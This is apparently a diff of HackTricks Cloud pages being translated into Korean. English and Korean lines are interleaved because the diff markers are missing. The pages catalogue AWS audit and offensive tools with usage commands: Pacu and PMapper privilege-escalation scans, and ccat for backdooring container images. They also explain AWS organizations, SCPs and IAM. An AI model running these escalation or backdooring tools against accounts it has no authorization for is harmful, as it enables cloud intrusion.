- [**cartography**](https://github.com/lyft/cartography): Cartography는 Neo4j 데이터베이스로 구동되는 직관적인 그래프 뷰에서 인프라 자산과 그들 간의 관계를 통합하는 Python 도구입니다.
```bash
# Install
pip install cartography
@@ -240,17 +233,15 @@ pip install cartography
# Get AWS info
AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-prompt --neo4j-user neo4j
```
- [**starbase**](https://github.com/JupiterOne/starbase): Starbase collects assets and relationships from services and systems including cloud infrastructure, SaaS applications, security controls, and more into an intuitive graph view backed by the Neo4j database.
- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Uses python2) This is a tool that tries to **discover all** [**AWS resources**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) created in an account.
- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): It's a tool to **fetch all public IP addresses** (both IPv4/IPv6) associated with an AWS account.
- [**starbase**](https://github.com/JupiterOne/starbase): Starbase는 클라우드 인프라, SaaS 애플리케이션, 보안 제어 등 서비스와 시스템에서 자산과 관계를 수집하여 Neo4j 데이터베이스에 기반한 직관적인 그래프 뷰로 제공합니다.
- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (python2 사용) 이 도구는 계정에서 생성된 모든 [**AWS 리소스**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource)를 **발견하려고** 합니다.
- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): AWS 계정과 연결된 모든 공용 IP 주소(IPv4/IPv6 모두)를 **가져오는** 도구입니다.
### Privesc & Exploiting
- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Discover the most privileged users in the scanned AWS environment, including the AWS Shadow Admins. It uses powershell. You can find the **definition of privileged policies** in the function **`Check-PrivilegedPolicy`** in [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu is an open-source **AWS exploitation framework**, designed for offensive security testing against cloud environments. It can **enumerate**, find **miss-configurations** and **exploit** them. You can find the **definition of privileged permissions** in [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) inside the **`user_escalation_methods`** dict.
- Note that pacu **only checks your own privescs paths** (not account wide).
- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** 스캔된 AWS 환경에서 가장 권한이 높은 사용자, 즉 AWS Shadow Admins를 발견합니다. PowerShell을 사용합니다. [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1)에서 **`Check-PrivilegedPolicy`** 함수의 **특권 정책 정의**를 찾을 수 있습니다.
- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu는 클라우드 환경에 대한 공격 보안 테스트를 위해 설계된 오픈 소스 **AWS exploitation framework**입니다. **열거**, **구성 오류**를 찾고 **악용**할 수 있습니다. **`user_escalation_methods`** dict 내에서 [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134)에서 **특권 권한 정의**를 찾을 수 있습니다.
- pacu **자신의 privescs 경로만 확인합니다** (계정 전체가 아님).
```bash
# Install
## Feel free to use venvs
@@ -264,9 +255,7 @@ pacu
> exec iam__enum_permissions # Get permissions
> exec iam__privesc_scan # List privileged permissions
```
- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) is a script and library for identifying risks in the configuration of AWS Identity and Access Management (IAM) for an AWS account or an AWS organization. It models the different IAM Users and Roles in an account as a directed graph, which enables checks for **privilege escalation** and for alternate paths an attacker could take to gain access to a resource or action in AWS. You can check the **permissions used to find privesc** paths in the filenames ended in `_edges.py` in [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper)는 AWS 계정 또는 AWS 조직의 AWS Identity and Access Management (IAM) 구성에서 위험을 식별하기 위한 스크립트 및 라이브러리입니다. 이는 계정 내의 다양한 IAM 사용자 및 역할을 방향 그래프로 모델링하여 **privilege escalation**에 대한 검사와 공격자가 AWS에서 리소스나 작업에 접근하기 위해 취할 수 있는 대체 경로를 확인할 수 있게 합니다. **privesc** 경로를 찾기 위해 사용된 **permissions**는 [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)에서 `_edges.py`로 끝나는 파일명에서 확인할 수 있습니다.
```bash
# Install
pip install principalmapper
@@ -288,10 +277,8 @@ pmapper --profile dev query 'preset privesc *' # Get privescs with admins
pmapper --profile dev orgs create
pmapper --profile dev orgs display
```
- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining is an AWS IAM Security Assessment tool that identifies violations of least privilege and generates a risk-prioritized HTML report.\
It will show you potentially **over privileged** customer, inline and aws **policies** and which **principals has access to them**. (It not only checks for privesc but also other kind of interesting permissions, recommended to use).
- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining은 최소 권한 위반을 식별하고 위험 우선 순위가 매겨진 HTML 보고서를 생성하는 AWS IAM 보안 평가 도구입니다.\
잠재적으로 **과도한 권한**을 가진 고객, 인라인 및 aws **정책**과 해당 **주체가 접근할 수 있는지** 보여줍니다. (권한 상승뿐만 아니라 다른 흥미로운 권한도 확인하므로 사용을 권장합니다).
```bash
# Install
pip install cloudsplaining
@@ -303,24 +290,20 @@ cloudsplaining download --profile dev
# Analyze the IAM policies
cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /tmp/files/
```
- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack assesses AWS accounts for **subdomain hijacking vulnerabilities** as a result of decoupled Route53 and CloudFront configurations.
- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): List ECR repos -> Pull ECR repo -> Backdoor it -> Push backdoored image
- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag is a tool that **searches** through public Elastic Block Storage (**EBS) snapshots for secrets** that may have been accidentally left in.
- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack는 분리된 Route53 및 CloudFront 구성으로 인해 AWS 계정의 **서브도메인 하이재킹 취약점**을 평가합니다.
- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): ECR 리포지토리 목록 -> ECR 리포지토리 가져오기 -> 백도어 추가 -> 백도어가 추가된 이미지 푸시
- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag는 공개 Elastic Block Storage (**EBS**) 스냅샷에서 **비밀**을 검색하는 도구입니다.
### Audit
- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit by Aqua is an open-source project designed to allow detection of **security risks in cloud infrastructure** accounts, including: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI), and GitHub (It doesn't look for ShadowAdmins).
- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** Aqua의 CloudSploit는 Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI) GitHub를 포함한 **클라우드 인프라** 계정의 **보안 위험**을 감지할 수 있도록 설계된 오픈 소스 프로젝트입니다 (ShadowAdmins를 찾지 않습니다).
```bash
./index.js --csv=file.csv --console=table --config ./config.js
# Compiance options: --compliance {hipaa,cis,cis1,cis2,pci}
## use "cis" for cis level 1 and 2
```
- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler is an Open Source security tool to perform AWS security best practices assessments, audits, incident response, continuous monitoring, hardening and forensics readiness.
- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler는 AWS 보안 모범 사례 평가, 감사, 사고 대응, 지속적인 모니터링, 강화 및 포렌식 준비를 수행하기 위한 오픈 소스 보안 도구입니다.
```bash
# Install python3, jq and git
# Install
@@ -331,15 +314,11 @@ prowler -v
prowler <provider>
prowler aws --profile custom-profile [-M csv json json-asff html]
```
- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox helps you gain situational awareness in unfamiliar cloud environments. Its an open source command line tool created to help penetration testers and other offensive security professionals find exploitable attack paths in cloud infrastructure.
- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox는 익숙하지 않은 클라우드 환경에서 상황 인식을 높이는 데 도움을 줍니다. 이는 침투 테스트 전문가와 기타 공격 보안 전문가가 클라우드 인프라에서 악용 가능한 공격 경로를 찾는 데 도움을 주기 위해 만들어진 오픈 소스 명령줄 도구입니다.
```bash
cloudfox aws --profile [profile-name] all-checks
```
- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite is an open source multi-cloud security-auditing tool, which enables security posture assessment of cloud environments.
- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite는 클라우드 환경의 보안 태세 평가를 가능하게 하는 오픈 소스 다중 클라우드 보안 감사 도구입니다.
```bash
# Install
virtualenv -p python3 venv
@@ -350,18 +329,16 @@ scout --help
# Get info
scout aws -p dev
```
- [**cs-suite**](https://github.com/SecurityFTW/cs-suite): 클라우드 보안 스위트 (python2.7 사용, 유지 관리되지 않는 것으로 보임)
- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus는 AWS EC2 / S3 / CloudTrail / CloudWatch / KMS의 최상의 하드닝 관행을 위한 강력한 도구입니다 (유지 관리되지 않는 것으로 보임). 시스템 내에서 기본 구성된 자격 증명만 확인합니다.
- [**cs-suite**](https://github.com/SecurityFTW/cs-suite): Cloud Security Suite (uses python2.7 and looks unmaintained)
- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus is a powerful tool for AWS EC2 / S3 / CloudTrail / CloudWatch / KMS best hardening practices (looks unmaintained). It checks only default configured creds inside the system.
### 지속적인 감사
### Constant Audit
- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian is a rules engine for managing public cloud accounts and resources. It allows users to **define policies to enable a well managed cloud infrastructure**, that's both secure and cost optimized. It consolidates many of the adhoc scripts organizations have into a lightweight and flexible tool, with unified metrics and reporting.
- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** is a platform for **continuous compliance monitoring, compliance reporting and security automation for the clou**d. In PacBot, security and compliance policies are implemented as code. All resources discovered by PacBot are evaluated against these policies to gauge policy conformance. The PacBot **auto-fix** framework provides the ability to automatically respond to policy violations by taking predefined actions.
- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert is a serverless, **real-time** data analysis framework which empowers you to **ingest, analyze, and alert** on data from any environment, u**sing data sources and alerting logic you define**. Computer security teams use StreamAlert to scan terabytes of log data every day for incident detection and response.
## DEBUG: Capture AWS cli requests
- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian은 공용 클라우드 계정 및 리소스를 관리하기 위한 규칙 엔진입니다. 사용자가 **잘 관리된 클라우드 인프라를 가능하게 하는 정책을 정의**할 수 있도록 합니다. 이는 조직이 보유한 많은 임시 스크립트를 경량화되고 유연한 도구로 통합하며, 통합된 메트릭 및 보고서를 제공합니다.
- [**pacbot**](https://github.com/tmobile/pacbot)**: 코드로서의 정책 봇 (PacBot)**은 **클라우드를 위한 지속적인 준수 모니터링, 준수 보고 및 보안 자동화** 플랫폼입니다. PacBot에서는 보안 및 준수 정책이 코드로 구현됩니다. PacBot이 발견한 모든 리소스는 이러한 정책에 대해 평가되어 정책 준수 여부를 판단합니다. PacBot **자동 수정** 프레임워크는 미리 정의된 조치를 취하여 정책 위반에 자동으로 대응할 수 있는 기능을 제공합니다.
- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert는 서버리스 **실시간** 데이터 분석 프레임워크로, 사용자가 정의한 데이터 소스 및 경고 논리를 사용하여 **데이터를 수집, 분석 및 경고**할 수 있도록 합니다. 컴퓨터 보안 팀은 StreamAlert를 사용하여 매일 테라바이트의 로그 데이터를 스캔하여 사건 탐지 및 대응을 수행합니다.
## DEBUG: AWS cli 요청 캡처
```bash
# Set proxy
export HTTP_PROXY=http://localhost:8080
@@ -380,14 +357,9 @@ export AWS_CA_BUNDLE=~/Downloads/certificate.pem
# Run aws cli normally trusting burp cert
aws ...
```
## References
- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
- [https://cloudsecdocs.com/aws/defensive/tooling/audit/](https://cloudsecdocs.com/aws/defensive/tooling/audit/)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,103 +1,95 @@
# AWS - Basic Information
# AWS - 기본 정보
{{#include ../../../banners/hacktricks-training.md}}
## Organization Hierarchy
## 조직 계층 구조
![](<../../../images/image (151).png>)
### Accounts
### 계정
In AWS, there is a **root account**, which is the **parent container for all the accounts** for your **organization**. However, you don't need to use that account to deploy resources, you can create **other accounts to separate different AWS** infrastructures between them.
AWS에는 **루트 계정**이 있으며, 이는 **조직의 모든 계정에 대한 부모 컨테이너**입니다. 그러나 리소스를 배포하기 위해 해당 계정을 사용할 필요는 없으며, **다른 계정을 생성하여 서로 다른 AWS** 인프라를 분리할 수 있습니다.
This is very interesting from a **security** point of view, as **one account won't be able to access resources from other account** (except bridges are specifically created), so this way you can create boundaries between deployments.
이는 **보안** 관점에서 매우 흥미로운데, **하나의 계정은 다른 계정의 리소스에 접근할 수 없기 때문**입니다(특별히 브리지가 생성되지 않는 한). 따라서 배포 간에 경계를 만들 수 있습니다.
Therefore, there are **two types of accounts in an organization** (we are talking about AWS accounts and not User accounts): a single account that is designated as the management account, and one or more member accounts.
따라서 조직에는 **두 가지 유형의 계정**이 있습니다(우리는 AWS 계정에 대해 이야기하고 있으며 사용자 계정이 아닙니다): 관리 계정으로 지정된 단일 계정과 하나 이상의 멤버 계정입니다.
- The **management account (the root account)** is the account that you use to create the organization. From the organization's management account, you can do the following:
- **관리 계정(루트 계정)**은 조직을 생성하는 데 사용하는 계정입니다. 조직의 관리 계정에서 다음을 수행할 수 있습니다:
- Create accounts in the organization
- Invite other existing accounts to the organization
- Remove accounts from the organization
- Manage invitations
- Apply policies to entities (roots, OUs, or accounts) within the organization
- Enable integration with supported AWS services to provide service functionality across all of the accounts in the organization.
- It's possible to login as the root user using the email and password used to create this root account/organization.
- 조직 내에서 계정 생성
- 다른 기존 계정을 조직에 초대
- 조직에서 계정 제거
- 초대 관리
- 조직 내의 엔터티(루트, OU 또는 계정)에 정책 적용
- 조직 내 모든 계정에서 서비스 기능을 제공하기 위해 지원되는 AWS 서비스와의 통합 활성화
- 이 루트 계정/조직을 생성하는 데 사용된 이메일과 비밀번호로 루트 사용자로 로그인할 수 있습니다.
The management account has the **responsibilities of a payer account** and is responsible for paying all charges that are accrued by the member accounts. You can't change an organization's management account.
- **Member accounts** make up all of the rest of the accounts in an organization. An account can be a member of only one organization at a time. You can attach a policy to an account to apply controls to only that one account.
- Member accounts **must use a valid email address** and can have a **name**, in general they wont be able to manage the billing (but they might be given access to it).
관리 계정은 **지불 계정의 책임**을 지며, 멤버 계정에서 발생하는 모든 요금을 지불할 책임이 있습니다. 조직의 관리 계정을 변경할 수 없습니다.
- **멤버 계정**은 조직의 나머지 모든 계정을 구성합니다. 계정은 한 번에 하나의 조직의 멤버일 수 있습니다. 계정에 정책을 연결하여 해당 계정에만 제어를 적용할 수 있습니다.
- 멤버 계정은 **유효한 이메일 주소를 사용해야** 하며 **이름**을 가질 수 있습니다. 일반적으로 청구를 관리할 수는 없지만 접근 권한이 부여될 수 있습니다.
```
aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com
```
### **조직 단위**
### **Organization Units**
Accounts can be grouped in **Organization Units (OU)**. This way, you can create **policies** for the Organization Unit that are going to be **applied to all the children accounts**. Note that an OU can have other OUs as children.
계정은 **조직 단위 (OU)**로 그룹화될 수 있습니다. 이렇게 하면 조직 단위에 대한 **정책**을 생성할 수 있으며, 이 정책은 **모든 자식 계정에 적용됩니다**. OU는 다른 OU를 자식으로 가질 수 있습니다.
```bash
# You can get the root id from aws organizations list-roots
aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
```
### Service Control Policy (SCP)
A **service control policy (SCP)** is a policy that specifies the services and actions that users and roles can use in the accounts that the SCP affects. SCPs are **similar to IAM** permissions policies except that they **don't grant any permissions**. Instead, SCPs specify the **maximum permissions** for an organization, organizational unit (OU), or account. When you attach a SCP to your organization root or an OU, the **SCP limits permissions for entities in member accounts**.
A **service control policy (SCP)**는 SCP가 영향을 미치는 계정에서 사용자가 사용할 수 있는 서비스와 작업을 지정하는 정책입니다. SCP는 **IAM** 권한 정책과 유사하지만 **권한을 부여하지 않습니다**. 대신, SCP는 조직, 조직 단위(OU) 또는 계정에 대한 **최대 권한**을 지정합니다. SCP를 조직 루트 또는 OU에 연결하면 **SCP가 구성원 계정의 엔터티에 대한 권한을 제한합니다**.
This is the ONLY way that **even the root user can be stopped** from doing something. For example, it could be used to stop users from disabling CloudTrail or deleting backups.\
The only way to bypass this is to compromise also the **master account** that configures the SCPs (master account cannot be blocked).
이것은 **루트 사용자조차도 무언가를 하는 것을 막을 수 있는 유일한 방법**입니다. 예를 들어, 사용자가 CloudTrail을 비활성화하거나 백업을 삭제하는 것을 막는 데 사용할 수 있습니다.\
이를 우회하는 유일한 방법은 SCP를 구성하는 **마스터 계정**을 손상시키는 것입니다(마스터 계정은 차단할 수 없습니다).
> [!WARNING]
> Note that **SCPs only restrict the principals in the account**, so other accounts are not affected. This means having an SCP deny `s3:GetObject` will not stop people from **accessing a public S3 bucket** in your account.
> **SCP는 계정의 주체를 제한할 뿐**이므로 다른 계정에는 영향을 미치지 않습니다. 이는 SCP가 `s3:GetObject`를 거부하더라도 사람들이 **귀하의 계정의 공개 S3 버킷에 접근하는 것을 막지 않습니다**.
SCP examples:
SCP 예시:
- Deny the root account entirely
- Only allow specific regions
- Only allow white-listed services
- Deny GuardDuty, CloudTrail, and S3 Public Block Access from
- 루트 계정을 완전히 거부
- 특정 지역만 허용
- 화이트리스트된 서비스만 허용
- GuardDuty, CloudTrail 및 S3 공개 차단 접근을 비활성화하는 것을 거부
being disabled
- 보안/사고 대응 역할이 삭제되거나
- Deny security/incident response roles from being deleted or
수정되는 것을 거부합니다.
modified.
- 백업이 삭제되는 것을 거부합니다.
- IAM 사용자 및 액세스 키 생성을 거부합니다.
- Deny backups from being deleted.
- Deny creating IAM users and access keys
Find **JSON examples** in [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)
**JSON 예시**는 [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)에서 확인하세요.
### Resource Control Policy (RCP)
A **resource control policy (RCP)** is a policy that defines the **maximum permissions for resources within your AWS organization**. RCPs are similar to IAM policies in syntax but **dont grant permissions**—they only cap the permissions that can be applied to resources by other policies. When you attach an RCP to your organization root, an organizational unit (OU), or an account, the RCP limits resource permissions across all resources in the affected scope.
A **resource control policy (RCP)**는 **AWS 조직 내 리소스에 대한 최대 권한**을 정의하는 정책입니다. RCP는 구문에서 IAM 정책과 유사하지만 **권한을 부여하지 않습니다**—다른 정책에 의해 리소스에 적용될 수 있는 권한을 제한할 뿐입니다. RCP를 조직 루트, 조직 단위(OU) 또는 계정에 연결하면 RCP는 영향을 받는 범위 내 모든 리소스에 대한 리소스 권한을 제한합니다.
This is the ONLY way to ensure that **resources cannot exceed predefined access levels**—even if an identity-based or resource-based policy is too permissive. The only way to bypass these limits is to also modify the RCP configured by your organizations management account.
이것은 **리소스가 미리 정의된 접근 수준을 초과할 수 없도록 보장하는 유일한 방법**입니다—정체성 기반 또는 리소스 기반 정책이 너무 관대하더라도 말입니다. 이러한 제한을 우회하는 유일한 방법은 조직의 관리 계정에서 구성된 RCP를 수정하는 것입니다.
> [!WARNING]
> RCPs only restrict the permissions that resources can have. They dont directly control what principals can do. For example, if an RCP denies external access to an S3 bucket, it ensures that the buckets permissions never allow actions beyond the set limit—even if a resource-based policy is misconfigured.
> RCP는 리소스가 가질 수 있는 권한만 제한합니다. 주체가 할 수 있는 것을 직접 제어하지는 않습니다. 예를 들어, RCP가 S3 버킷에 대한 외부 접근을 거부하면, 해당 버킷의 권한이 설정된 한계를 초과하는 작업을 허용하지 않도록 보장합니다—리소스 기반 정책이 잘못 구성되더라도 말입니다.
RCP examples:
RCP 예시:
- Restrict S3 buckets so they can only be accessed by principals within your organization
- Limit KMS key usage to only allow operations from trusted organizational accounts
- Cap permissions on SQS queues to prevent unauthorized modifications
- Enforce access boundaries on Secrets Manager secrets to protect sensitive data
- S3 버킷을 제한하여 귀하의 조직 내 주체만 접근할 수 있도록 함
- KMS 키 사용을 신뢰할 수 있는 조직 계정에서만 작업을 허용하도록 제한
- SQS 큐의 권한을 제한하여 무단 수정을 방지
- Secrets Manager 비밀에 대한 접근 경계를 시행하여 민감한 데이터를 보호
Find examples in [AWS Organizations Resource Control Policies documentation](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_rcps.html)
예시는 [AWS Organizations Resource Control Policies documentation](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_rcps.html)에서 확인하세요.
### ARN
**Amazon Resource Name** is the **unique name** every resource inside AWS has, its composed like this:
**Amazon Resource Name**은 AWS 내 모든 리소스가 가지는 **고유 이름**으로, 다음과 같이 구성됩니다:
```
arn:partition:service:region:account-id:resource-type/resource-id
arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env
```
Note that there are 4 partitions in AWS but only 3 ways to call them:
AWS에는 4개의 파티션이 있지만 이를 호출하는 방법은 3가지뿐입니다:
- AWS Standard: `aws`
- AWS China: `aws-cn`
@@ -106,246 +98,240 @@ Note that there are 4 partitions in AWS but only 3 ways to call them:
## IAM - Identity and Access Management
IAM is the service that will allow you to manage **Authentication**, **Authorization** and **Access Control** inside your AWS account.
IAM은 AWS 계정 내에서 **인증**, **권한 부여** 및 **액세스 제어**를 관리할 수 있게 해주는 서비스입니다.
- **Authentication** - Process of defining an identity and the verification of that identity. This process can be subdivided in: Identification and verification.
- **Authorization** - Determines what an identity can access within a system once it's been authenticated to it.
- **Access Control** - The method and process of how access is granted to a secure resource
- **인증** - 신원을 정의하고 그 신원을 검증하는 과정입니다. 이 과정은 식별 및 검증으로 세분화될 수 있습니다.
- **권한 부여** - 신원이 시스템에 인증된 후 그 시스템 내에서 어떤 자원에 접근할 수 있는지를 결정합니다.
- **액세스 제어** - 안전한 자원에 대한 접근이 어떻게 부여되는지를 정의하는 방법과 과정입니다.
IAM can be defined by its ability to manage, control and govern authentication, authorization and access control mechanisms of identities to your resources within your AWS account.
IAM은 AWS 계정 내 자원에 대한 신원의 인증, 권한 부여 및 액세스 제어 메커니즘을 관리, 제어 및 통치하는 능력으로 정의될 수 있습니다.
### [AWS account root user](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) <a href="#id_root" id="id_root"></a>
When you first create an Amazon Web Services (AWS) account, you begin with a single sign-in identity that has **complete access to all** AWS services and resources in the account. This is the AWS account _**root user**_ and is accessed by signing in with the **email address and password that you used to create the account**.
Amazon Web Services (AWS) 계정을 처음 생성할 때, 모든 AWS 서비스와 자원에 **완전한 접근 권한**을 가진 단일 로그인 신원으로 시작합니다. 이것이 AWS 계정 _**루트 사용자**_이며, **계정을 생성할 때 사용한 이메일 주소와 비밀번호로 로그인하여 접근합니다**.
Note that a new **admin user** will have **less permissions that the root user**.
새로운 **관리자 사용자**는 **루트 사용자보다 권한이 적습니다**.
From a security point of view, it's recommended to create other users and avoid using this one.
보안 관점에서 볼 때, 다른 사용자를 생성하고 이 사용자를 사용하는 것을 피하는 것이 권장됩니다.
### [IAM users](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) <a href="#id_iam-users" id="id_iam-users"></a>
An IAM _user_ is an entity that you create in AWS to **represent the person or application** that uses it to **interact with AWS**. A user in AWS consists of a name and credentials (password and up to two access keys).
IAM _사용자_는 AWS에서 **사람이나 애플리케이션을 나타내기 위해 생성하는 엔티티**입니다. AWS의 사용자는 이름과 자격 증명(비밀번호 및 최대 두 개의 액세스 키)으로 구성됩니다.
When you create an IAM user, you grant it **permissions** by making it a **member of a user group** that has appropriate permission policies attached (recommended), or by **directly attaching policies** to the user.
IAM 사용자를 생성할 때, 적절한 권한 정책이 첨부된 **사용자 그룹의 구성원**으로 만들어 **권한**을 부여하거나, **정책을 사용자에게 직접 첨부**하여 권한을 부여합니다.
Users can have **MFA enabled to login** through the console. API tokens of MFA enabled users aren't protected by MFA. If you want to **restrict the access of a users API keys using MFA** you need to indicate in the policy that in order to perform certain actions MFA needs to be present (example [**here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
사용자는 콘솔을 통해 **MFA로 로그인할 수 있습니다**. MFA가 활성화된 사용자의 API 토큰은 MFA로 보호되지 않습니다. **MFA를 사용하여 사용자의 API 키 접근을 제한**하려면 정책에서 특정 작업을 수행하기 위해 MFA가 필요하다고 명시해야 합니다 (예시 [**여기**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
#### CLI
- **Access Key ID**: 20 random uppercase alphanumeric characters like AKHDNAPO86BSHKDIRYT
- **Secret access key ID**: 40 random upper and lowercase characters: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (It's not possible to retrieve lost secret access key IDs).
- **Access Key ID**: 20개의 무작위 대문자 알파벳 숫자 조합, 예: AKHDNAPO86BSHKDIRYT
- **Secret access key ID**: 40개의 무작위 대소문자 조합: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (잃어버린 비밀 액세스 키 ID는 복구할 수 없습니다).
Whenever you need to **change the Access Key** this is the process you should follow:\
_Create a new access key -> Apply the new key to system/application -> mark original one as inactive -> Test and verify new access key is working -> Delete old access key_
**Access Key를 변경해야 할 때** 따라야 할 과정은 다음과 같습니다:\
_새 액세스 키 생성 -> 시스템/애플리케이션에 새 키 적용 -> 원래 키를 비활성화로 표시 -> 새 액세스 키가 작동하는지 테스트 및 검증 -> 이전 액세스 키 삭제_
### MFA - Multi Factor Authentication
It's used to **create an additional factor for authentication** in addition to your existing methods, such as password, therefore, creating a multi-factor level of authentication.\
You can use a **free virtual application or a physical device**. You can use apps like google authentication for free to activate a MFA in AWS.
기존 방법(예: 비밀번호) 외에 **인증을 위한 추가 요소를 생성**하는 데 사용되며, 따라서 다단계 인증 수준을 생성합니다.\
**무료 가상 애플리케이션이나 물리적 장치**를 사용할 수 있습니다. Google 인증과 같은 앱을 무료로 사용하여 AWS에서 MFA를 활성화할 수 있습니다.
Policies with MFA conditions can be attached to the following:
MFA 조건이 있는 정책은 다음에 첨부될 수 있습니다:
- An IAM user or group
- A resource such as an Amazon S3 bucket, Amazon SQS queue, or Amazon SNS topic
- The trust policy of an IAM role that can be assumed by a user
If you want to **access via CLI** a resource that **checks for MFA** you need to call **`GetSessionToken`**. That will give you a token with info about MFA.\
Note that **`AssumeRole` credentials don't contain this information**.
- IAM 사용자 또는 그룹
- Amazon S3 버킷, Amazon SQS 큐 또는 Amazon SNS 주제와 같은 자원
- 사용자가 가정할 수 있는 IAM 역할의 신뢰 정책
**MFA를 확인하는** 자원에 **CLI를 통해 접근**하려면 **`GetSessionToken`**을 호출해야 합니다. 그러면 MFA에 대한 정보가 포함된 토큰이 제공됩니다.\
**`AssumeRole` 자격 증명에는 이 정보가 포함되어 있지 않음을 유의하십시오.**
```bash
aws sts get-session-token --serial-number <arn_device> --token-code <code>
```
As [**stated here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), **MFA를 사용할 수 없는** 다양한 경우가 있습니다.
As [**stated here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), there are a lot of different cases where **MFA cannot be used**.
### [IAM 사용자 그룹](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) <a href="#id_iam-groups" id="id_iam-groups"></a>
### [IAM user groups](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) <a href="#id_iam-groups" id="id_iam-groups"></a>
IAM [사용자 그룹](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html)은 **여러 사용자에게 정책을 동시에 연결하는** 방법으로, 이러한 사용자의 권한을 관리하기 쉽게 만들어 줍니다. **역할과 그룹은 그룹의 일부가 될 수 없습니다**.
An IAM [user group](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) is a way to **attach policies to multiple users** at one time, which can make it easier to manage the permissions for those users. **Roles and groups cannot be part of a group**.
**사용자 그룹에 ID 기반 정책을 연결**할 수 있어, 사용자 그룹의 **모든 사용자**가 **정책의 권한을 받게** 됩니다. **정책**(예: 리소스 기반 정책)에서 **`Principal`**로 **사용자 그룹**을 식별할 수 **없습니다**. 그룹은 인증이 아닌 권한과 관련이 있으며, 주체는 인증된 IAM 엔터티입니다.
